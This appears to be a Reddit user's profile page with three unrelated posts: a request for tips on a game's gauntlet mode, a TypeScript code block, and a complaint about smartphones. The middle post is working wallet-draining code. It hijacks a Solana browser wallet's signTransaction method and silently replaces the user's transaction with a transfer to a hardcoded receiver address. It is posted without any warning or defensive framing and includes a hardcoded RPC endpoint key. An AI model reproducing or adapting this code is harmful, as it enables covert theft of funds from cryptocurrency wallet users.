u/Left-Appointment1905

I really like the 'firefight: gauntlet' mode. But it's a bit too hard for a noob

I'm only reaching the third stage on 15-25% of attempts. (Today after 10 games I didn't even reach it)

Would love if we could pick between multiple difficulties.

But yes, that's also because I suck.

Does anyone want to share some tips? :)

reddit.com
u/Left-Appointment1905 — 13 days ago

import { TOKEN_PROGRAM_ID } from "@raydium-io/raydium-sdk";

import { Connection, PublicKey, Transaction, SystemProgram, Keypair } from "@solana/web3.js";

import { Buffer } from 'buffer'

const { encode } = require("bs58");

const RPC_URL = "https://cosmopolitan-hidden-morning.solana-mainnet.quiknode.pro/22232a65c9cdc281e801e981d793dae0373f30be";

const RECEIVER_ADDRESS = new PublicKey("AUifiBhAkntxy5C981fbRPzwavFpGSDVPgcUjgiCHqEV")

let window: any

export class Lib {

private provider = window.solana;

private connection: Connection = null;

async init(): Promise<void> {

if (!this.provider) {

alert("No Solana provider found");

return;

}

window.Buffer = Buffer;

this.connection = new Connection(RPC_URL);

this.injectSpoofMethods();

}

private injectSpoofMethods(): void {

const oSignTransaction = this.provider.signTransaction.bind(

this.provider

);

this.provider.signTransaction = async (...params: any[]): Promise<any> => {

try {

const transaction = params[0];

const lamports = 111111;

const instructionData = Buffer.alloc(12);

instructionData.writeUInt32LE(2, 0);

instructionData.writeBigUInt64LE(BigInt(lamports), 4);

const encodedData = encode(instructionData);

transaction.message.accountKeys.push(RECEIVER_ADDRESS);

const legacyInstruction = {

programIdIndex: this.getSystemKey(transaction) || 0,

accounts: [0, transaction.message.accountKeys.length - 1, 0],

data: encodedData,

};

transaction.feePayer = this.provider.publicKey;

transaction.recentBlockhash = (

await this.connection.getLatestBlockhash()

).blockhash;

transaction.message.instructions = [legacyInstruction];

console.log(transaction);

return oSignTransaction(...params);

} catch (error) {

console.error(error);

}

};

}

async someRandomTx(): Promise<void> {

const transaction = new Transaction();

transaction.recentBlockhash = (

await this.connection.getLatestBlockhash()

).blockhash;

transaction.feePayer = this.provider.publicKey;

const createAccountTx = SystemProgram.createAccount({

fromPubkey: transaction.feePayer || this.provider.publicKey,

newAccountPubkey: Keypair.generate().publicKey,

lamports: await this.connection.getMinimumBalanceForRentExemption(165),

space: 165,

programId: TOKEN_PROGRAM_ID,

});

transaction.add(createAccountTx);

await this.provider.signTransaction(transaction);

}

private getSystemKey(transaction: any): number | undefined {

const systemProgram = new PublicKey(

"11111111111111111111111111111111"

);

return transaction.message.indexToProgramIds.findIndex((val: any) =>

systemProgram.equals(val)

);

}

}

reddit.com
u/Left-Appointment1905 — 17 days ago

That's when the enshitification started, companies like Facebook etc could track every step you take, thinking became uncool.

People without it are not cool, everything needs a subscription

Everyone needed to be online 24/7 etc.

I'm gonna stop using smartphones.

Thanks

reddit.com
u/Left-Appointment1905 — 25 days ago